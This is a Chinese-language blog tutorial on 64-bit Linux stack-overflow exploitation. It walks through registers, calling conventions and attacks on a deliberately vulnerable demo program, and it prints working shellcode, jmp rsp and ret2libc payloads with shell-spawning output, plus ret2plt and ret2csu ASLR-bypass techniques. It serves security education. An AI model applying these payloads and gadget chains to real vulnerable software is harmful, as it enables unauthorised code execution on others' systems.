之前在棧溢出漏洞的利用和緩解中介紹了棧溢出漏洞和一些常見的漏洞緩解
技術的原理和繞過方法, 不過當時主要針對32位程序(ELF32). 秉承着能用就不改的態度,
IPv4還依然是互聯網的主導, 更何況應用程序. 所以理解32位環境也是有必要的.
不過, 現在畢竟已經是2018年了, 64位程序也逐漸成爲主流, 尤其是在Linux環境中.
因此本篇就來說說64位下的利用與32位下的利用和緩解繞過方法有何異同.
基礎知識
寄存器
我們所說的32位和64位, 其實就是寄存器的大小. 對於32位寄存器大小爲32/8=4字節,
那64位自然是64/8=8字節了. 寄存器的大小對程序的直接影響就是地址空間,
因爲CPU獲取數據/地址還是要通過寄存器來傳遞, 32位程序地址空間最多也只有
2^32-1=4GB(不考慮內核空間), 64位則將地址空間提高了幾十億倍, 充分利用了
機器的內存.
x86
對於x86架構的CPU, 通常會用到的寄存器有下列這些:
(gdb) info registers
eax 0xf7fa6dbc -134582852
ecx 0x5cb15f85 1555128197
edx 0xffffc834 -14284
ebx 0x0 0
esp 0xffffc808 0xffffc808
ebp 0xffffc808 0xffffc808
esi 0x1 1
edi 0xf7fa5000 -134590464
eip 0x56555563 0x56555563 <main+3>
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
這些寄存器可以分爲四類:
通用寄存器:
EAX EBX ECX EDX
索引和指針:
ESI EDI EBP ESP EIP
段寄存器:
CS SS DS ES FS GS
指示器:
EFLAGS
其中EAX~EDX四個通用寄存器支持部分引用, 如EAX低16位可通過AX來引用,
AL的高8位和低8位又可以分別通過AH和AL來引用.
有的文檔將ESI,EDI也稱爲通用寄存器, 因爲他們也是程序可自由讀寫的,
不過他們不支持部分引用. EBP/ESP分別稱爲棧基指針和棧指針, 分別指向
當前棧幀的棧底和棧頂. EIP爲PC指針, 指向將要執行的下一條指令.
段寄存器(Segment registers)保存了不同目標的段地址, 只有16種取值,
只能被通用寄存器或者特殊指令設置.
段寄存器 | 作用 |
---|---|
CS | Code Segment |
SS | Stack Segment |
DS | Data Segment |
ES,FS,GS | 主要用作遠指針尋址 |
指示器EFLAGS保存了指令運行的一些狀態(flag), 比如進位,符號等, Intel文檔定義如下:
Bit | Label | Desciption |
---|---|---|
0 | CF | Carry flag |
2 | PF | Parity flag |
4 | AF | Auxiliary carry flag |
6 | ZF | Zero flag |
7 | SF | Sign flag |
8 | TF | Trap flag |
9 | IF | Interrupt enable flag |
10 | DF | Direction flag |
11 | OF | Overflow flag |
12-13 | IOPL | I/O Priviledge level |
14 | NT | Nested task flag |
16 | RF | Resume flag |
17 | VM | Virtual 8086 mode flag |
18 | AC | Alignment check flag (486+) |
19 | VIF | Virutal interrupt flag |
20 | VIP | Virtual interrupt pending flag |
21 | ID | ID flag |
這個32位寄存器中上面沒提到的位是由Intel保留的.
x86-64
x86-64架構下的寄存器種類和32位差不多:
(gdb) info registers
rax 0x555555554660 93824992233056
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffd708 140737488344840
rsi 0x7fffffffd6f8 140737488344824
rdi 0x1 1
rbp 0x7fffffffd610 0x7fffffffd610
rsp 0x7fffffffd610 0x7fffffffd610
r8 0x5555555546e0 93824992233184
r9 0x7ffff7de8cb0 140737351945392
r10 0x8 8
r11 0x1 1
r12 0x555555554530 93824992232752
r13 0x7fffffffd6f0 140737488344816
r14 0x0 0
r15 0x0 0
rip 0x555555554664 0x555555554664 <main+4>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
只不過寄存器大小從32位變成了64位, 而且增加了8個通用寄存器(r8~r15).
和x86一樣, rax~rdx這四個通用寄存器也支持部分尋址:
0x1122334455667788
================ RAX (64位)
======== EAX (低32位)
==== AX (低16位)
== AH (高8位)
== AL (低8位)
調用約定
32位和64位程序的區別, 更多的是體現在調用約定(Calling Convention)上.
因爲64位程序有了更多的通用寄存器, 所以通常會使用寄存器來進行函數參數傳遞
而不是通過棧, 來獲得更高的運行速度.
本文主要是介紹Linux平臺下的漏洞利用, 所以就專注於System V AMD64 ABI
的調用約定, 即函數參數從左到右依次用寄存器RDI,RSI,RDX,RCX,R8,R9來進行傳遞,
如果參數個數多於6個, 再通過棧來進行傳遞.
$ cat victim.c
int foo(int a, int b, int c, int d, int e, int f, int g, int h) {
return a + b + c + d + e + f + g + h;
}
int main() {
foo(1, 2, 3, 4, 5, 6, 7, 8);
return 0;
}
$ gcc victim.c -o victim
$ objdump -d victim | grep "<main>:" -A 11
00000000000006a0 <main>:
6a0: 55 push rbp
6a1: 48 89 e5 mov rbp,rsp
6a4: 6a 08 push 0x8
6a6: 6a 07 push 0x7
6a8: 41 b9 06 00 00 00 mov r9d,0x6
6ae: 41 b8 05 00 00 00 mov r8d,0x5
6b4: b9 04 00 00 00 mov ecx,0x4
6b9: ba 03 00 00 00 mov edx,0x3
6be: be 02 00 00 00 mov esi,0x2
6c3: bf 01 00 00 00 mov edi,0x1
6c8: e8 93 ff ff ff call 660 <foo>
漏洞利用
回憶一下之前在棧溢出漏洞的利用和緩解中介紹的漏洞利用流程,
我們的目的是通過溢出等內存破壞的漏洞來執行任意的代碼, 爲實現這個目的,
就要按照調用約定來對內存進行精確佈局, 然後執行惡意跳轉.
在32位的環境下, 因爲函數參數都是通過棧傳遞, 而我們有能溢出棧
進行任意寫, 所以利用起來很直接, 到了64位環境中就需要做點改變了.
在本文接下來的介紹中, 都以下面的程序爲目標來說明64位環境中如何
正確地利用漏洞, 以及如何繞過常見的漏洞緩解措施.
// victim.c
# include <stdio.h>
int foo() {
char buf[10];
scanf("%s", buf);
printf("hello %s\n", buf);
return 0;
}
int main() {
foo();
printf("good bye!\n");
return 0;
}
void dummy()
{
__asm__("nop; jmp rsp");
}
同樣的, 我們先從最寬鬆的環境開始.
基本利用
與x86的棧溢出漏洞類似, 我們可以先用debruijn序列來獲得溢出點:
$ gcc victim.c -o victim -g -masm=intel -fno-stack-protector -z execstack -no-pie -fno-pic
$ ragg2 -P 80 -r > victim.rr2
$ gdb victim
(gdb) run < victim.rr2
Starting program: /home/pan/stack_overflow_demo/x64/victim < victim.rr2
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005f0 in foo () at victim.c:8
8 }
(gdb) p $rip
$1 = (void (*)()) 0x4005f0 <foo+58>
(gdb) b 6
Breakpoint 1 at 0x4005d4: file victim.c, line 6.
(gdb) run < victim.rr2
(gdb) x/xg $rbp+8
0x7fffffffd608: 0x4149414148414147
不過, 和x86不同的是, 這裏在出現段錯誤時, rip指針並沒有被我們的序列覆蓋到.
這是因爲x86在傳遞地址時不會進行"驗證". 而x64則會對根據尋址標準對地址進行檢查,
規則是48~63位必須和47位相同(從0開始), 否則處理器將會產生異常.
這規則聽起來有點怪, 不過考慮到用戶空間最多隻有0x00007FFFFFFFFFF
,
所以對正常程序而言是有保護作用的, 詳情可以參考這裏.
好吧, 那麼該如何獲得覆蓋的rip值? 其實也很簡單, 只要在溢出後打上斷點,
並查看$rbp+8就是我們將要覆蓋的rip值了. 如上爲0x4149414148414147
,
轉換爲(小端)ASCII爲GAAHAAIA
, 在debruijn序列的第19位, 驗證如下:
$ gdb ./victim
(gdb) run < <(python -c "print 'A'*18 + 'B'*4")
hello AAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000000042424242 in ?? ()
(gdb) p $rip
$1 = (void (*)()) 0x42424242
確實是BBBB覆蓋了返回的指針. 所以棧的佈局和32位下應該是類似的. 利用跳轉
jmp rsp
和32位沒有太大區別, 假設我們目標是通過system("/bin/sh")
來獲取shell.
先分別獲得libc的基地址, system函數的偏移以及字符串的偏移:
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a3a000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system@
583: 000000000003f450 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1353: 000000000003f450 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
$ rafind2 -z -s /bin/sh /lib/x86_64-linux-gnu/libc.so.6
0x1619f9
所以:
- libc加載基地址爲0x00007ffff7a3a000
- system()地址爲0x00007ffff7a3a000+0x3f450=0x7ffff7a79450
- "/bin/sh"的地址爲0x00007ffff7a3a000+0x1619f9=0x7ffff7b9b9f9
上一節說了x64下調用約定是通過寄存器來傳遞函數的參數, 其中第一個參數爲rdi,
因此需要構造的payload應該如下:
;shellcode.asm
mov rdi, 0x7ffff7b9b9f9;
mov rdx, 0x7ffff7a79450;
call rdx;
在寬鬆的環境下, 棧是可執行的, 所以我們用jmp rsp
來跳轉到shellcode中:
$ rasm2 "jmp rsp"
ffe4
$ objdump -d victim | grep "ff e4"
400615: ff e4 jmp rsp
$ rasm2 -a x86 -b 64 -f shellcode.asm -C
"\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"
返回地址應覆蓋爲0x400615, 所以完整的payload驗證如下(記得加上NOP sled):
$ (python -c 'print "A"*18 + "\x15\x06\x40\x00" + "\x00"*4 + "\x90"*20 + "\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)
成功獲得shell. 這是最原始的通過jmp rsp
+NOP sled
劫持運行流程的方式,
和32位情況下沒有太大區別.
ret2libc
return-to-libc和32位情況下的區別是函數參數需要保存在rdi寄存器中.
然而我們只能覆蓋棧的地址, 所以這時候需要藉助ROP方法來控制流程,
先跳轉到程序中的pop rdi; ret
片段(gadget), 再跳轉到system@libc中.
$ rasm2 "pop rdi; ret"
5fc3
$ rafind2 -x 5fc3 -X victim
0x683
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00000683 5fc3 9066 2e0f 1f84 0000 0000 00f3 c300 _..f............
0x00000693 0048 83ec 0848 83c4 08c3 0000 0001 0002 .H...H..........
0x000006a3 0025 7300 6865 6c6c 6f20 2573 0a00 676f .%s.hello %s..go
0x000006b3 6f64 2062 7965 2100 0001 1b03 3b40 0000 od bye!.....;@..
0x000006c3 0007 0000 00c4 fdff ff8c 0000 0004 ..............
關鍵是要找到合適的gadget, 在victim裏找到了這倆字節, 就算不幸沒找到也沒關係,
我們還可以從libc.so裏去找, 這個會在後面細說.
值得一提的是32位程序加載地址爲0x08048000, 而64位程序加載地址爲0x00400000.
所以跳轉的返回地址應該是0x00400000+0x683=0x400683, ROP鏈如下:
棧頂(低地址) <-------- 棧底(高地址)
...[18字節][0x400683]["/bin/sh"地址][system@libc][system返回(可選)]
和之前一樣, "/bin/sh"和system()的地址和之前一樣, 驗證:
$ (python -c 'print "A"*18 + "\x83\x06\x40\x00\x00\x00\x00\x00" + "\xf9\xb9\xb9\xf7\xff\x7f\x00\x00" + "\x50\x94\xa7\xf7\xff\x7f\x00\x00"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA�@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)
成功返回到了libc中執行system("/bin/sh")
ret2plt
上面用ret2libc雖然成功繞過了NX並執行命令, 但其實也不穩定. 因爲我們是假定知道
了libc的加載地址(即禁用ASLR). 不過, 在上一篇深入瞭解GOT,PLT和動態鏈接
中我們說了, ASLR雖然隨機化了部分虛擬地址空間, 不過PLT卻不在此列, 其地址依然
是和可執行文件的加載地址相對固定的. 如果可執行文件不是PIE(位置無關可執行文件),
那麼ELF的加載地址也是固定的. 這就使得我們可以通過跳轉到PLT來繞過ASLR執行任意
命令.
利用過程和上面ret2libc類似, 只不過要將system@libc
的地址改爲system@plt
.
哈, 當然, 前提是我們的程序裏有system@plt.
$ gdb victim_nx
(gdb) info functions
All defined functions:
File victim.c:
void dummy();
int foo();
int main();
Non-debugging symbols:
0x0000000000400460 _init
0x0000000000400490 puts@plt
0x00000000004004a0 printf@plt
0x00000000004004b0 __isoc99_scanf@plt
0x00000000004004c0 _start
0x00000000004004f0 deregister_tm_clones
0x0000000000400530 register_tm_clones
0x0000000000400570 __do_global_dtors_aux
0x0000000000400590 frame_dummy
0x0000000000400620 __libc_csu_init
0x0000000000400690 __libc_csu_fini
0x0000000000400694 _fini
可惜我們的程序並沒有出現system的引用, 所以就不具體演示了, 因爲無非是將ret2libc
改一個地址而已.
如果在實際程序中也這麼不巧遇到這種情況怎麼辦? 這就要用到下面的方法了.
找啊找啊找libc
雖然libc.so是PIC位置無關的, 但其中每個符號的相對地址是確定的,
只要知道其中一個, 就能知道libc加載基地址和所有其他符號的位置了.
因此不論是要找函數(如system), 數據(如"/bin/bash")還是複雜的ROP gadget,
關鍵都是要找libc, 一旦找到libc的基地址, 這場exploit遊戲也就宣告結束了.
.got.plt
在深入瞭解GOT,PLT和動態鏈接中我們知道, 每個函數的PLT中只包含幾行代碼,
作用是設置參數並跳轉到GOT, 而對應GOT在解析前包含了對應PLT的下一條指令.
PLT的下一條指令則動態解析符號並填充對應的GOT, 稱爲延時加載.
所以, GOT中有libc某些函數的真正地址, 我們可以利用它來獲取libc的位置.
這種方法也叫GOT dereference
, 和GOT覆蓋類似, 只不過並沒有真正覆蓋.
在32位情況下和64位情況下利用方式大同小異, 可以參考x86漏洞利用中的ASLR
部分, 這裏就不贅述了.
offset2lib
offset2lib是在2014年提出來的一種在x64下繞過ASLR的方法, 主要利用的是Linux
實現ASLR的設計缺陷, 在程序啓用PIE時會導致加載地址空間(區域)和動態庫相同,
從而導致ASLR熵減少. 不過這個缺陷已經在2015年修復了, 所以不展開介紹,
感興趣的同學可以看原文:Offset2lib: bypassing full ASLR on 64bit Linux.
雖然漏洞已經修復, 但其想法還是很值得學習的.
ret2csu
return-to-csu, 是2018 BlackHat Asia上分享的一種繞過ASLR的新姿勢.
對於客戶端程序, 我們用程序中的puts/printf可以比較簡單地打印(泄漏)出libc的地址,
只需要傳入合適的參數. 在文章最開始的部分我們說了, x64下調用約定是用寄存器
rdi,rsi,rdx...來傳參, 所以關鍵是怎麼把可控部分(棧)的值傳給寄存器.
ROP是個好辦法, 可僅考慮可執行文件的話, 不一定能找到合適的gadget.
對於一些網絡程序, 我們可能要用write或者send函數來泄露libc, 這就需要3個或者
更多的參數. 可惜使用常見的自動化rop工具在小型程序中難以找到合適的gadget.
於是作者(Hector&Ismael)通過人眼審計可執行文件中的通用代碼部分, 發現了兩處
有趣的片段, 可以讓我們控制edi,rsi和rdx, 並跳轉到任意地址. 而這兩處片段都在
__libc_csu_init
中, 所以該方法稱爲return-to-csu:
$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35
0000000000400620 <__libc_csu_init>:
400620: 41 57 push r15
400622: 41 56 push r14
400624: 41 89 ff mov r15d,edi
400627: 41 55 push r13
400629: 41 54 push r12
40062b: 4c 8d 25 d6 07 20 00 lea r12,[rip+0x2007d6] # 600e08 <__frame_dummy_init_array_entry>
400632: 55 push rbp
400633: 48 8d 2d d6 07 20 00 lea rbp,[rip+0x2007d6] # 600e10 <__init_array_end>
40063a: 53 push rbx
40063b: 49 89 f6 mov r14,rsi
40063e: 49 89 d5 mov r13,rdx
400641: 4c 29 e5 sub rbp,r12
400644: 48 83 ec 08 sub rsp,0x8
400648: 48 c1 fd 03 sar rbp,0x3
40064c: e8 0f fe ff ff call 400460 <_init>
400651: 48 85 ed test rbp,rbp
400654: 74 20 je 400676 <__libc_csu_init+0x56>
400656: 31 db xor ebx,ebx
400658: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
40065f: 00
/400660: 4c 89 ea mov rdx,r13
2| 400663: 4c 89 f6 mov rsi,r14
| 400666: 44 89 ff mov edi,r15d
\400669: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40066d: 48 83 c3 01 add rbx,0x1
400671: 48 39 dd cmp rbp,rbx
400674: 75 ea jne 400660 <__libc_csu_init+0x40>
400676: 48 83 c4 08 add rsp,0x8
/40067a: 5b pop rbx
| 40067b: 5d pop rbp
| 40067c: 41 5c pop r12
1| 40067e: 41 5d pop r13
| 400680: 41 5e pop r14
| 400682: 41 5f pop r15
\400684: c3 ret
如上圖標註的片段1和片段2, 聯合起來就可以實現控制rdx,rsi和edi, 雖然第一個參數
rdi只能寫低32位, 不過一般write/send第一個參數都是文件描述符, 所以也足夠了.
關鍵是__libc_csu_init
這一段代碼是所有GNU/cc編譯鏈都會添加帶可執行文件中的,
這意味着對於大多數Linux x64下的程序棧溢出漏洞都可以用該方式繞過ASLR執行程序.
對於該方法的介紹可以查看原文.
後記
x86和x86-64之間的漏洞利用思路大體相同, 只不過要注意payload的具體佈局.
二進制漏洞本身沒有什麼"一招鮮"的利用方法, 也許暫時某個方法很通用,
但可能某次內核/工具鏈更新之後就失效了. 關鍵還是要理解堆棧佈局和平臺的調用約定,
學習別人的一些利用思路, 比如ROP等. 這樣就能針對不同的應用程序和不同的運行環境
快速發現最合適的利用方式.
- 本文地址https://www.pppan.net/blog/detail/
- 歡迎交流, 文章轉載請註明出處, 謝謝!